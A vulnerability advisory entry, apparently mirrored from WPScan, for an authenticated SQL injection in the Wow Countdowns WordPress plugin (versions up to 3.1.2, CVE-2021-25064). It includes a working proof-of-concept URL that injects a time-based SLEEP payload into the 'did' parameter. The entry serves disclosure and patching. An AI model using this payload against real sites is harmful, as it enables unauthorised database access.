Lucene search
WpvulndbWPEX-ID:30C70315-3C17-41F0-A12F-7E3F793E259CHistoryMar 07, 2022 - 12:00 a.m.
Wow Countdowns <= 3.1.2 - Admin+ SQLi
2022-03-0700:00:00
wpvulndb
77
0.001 Low
EPSS
Percentile
37.7%
The plugin does not sanitize user input into the ‘did’ parameter and uses it in a SQL statement, leading to an authenticated SQL Injection.
https://example.com/wp-admin/admin.php?page=mwp-countdown&info=del&did=1+AND+(SELECT+5382+FROM+(SELECT(SLEEP(5)))PpNt)Related
patchstack
patchstack
cve
cve
CVE-2021-25064
2022-03-28 18:15:08
cvelist
cvelist
CVE-2021-25064 Wow Countdowns <= 3.1.2 - Admin+ SQLi
2022-03-28 17:21:42
wpvulndb
wpvulndb
Wow Countdowns <= 3.1.2 - Admin+ SQLi
2022-03-07 00:00:00
nvd
nvd
CVE-2021-25064
2022-03-28 18:15:08
prion
prion
Sql injection
2022-03-28 18:15:00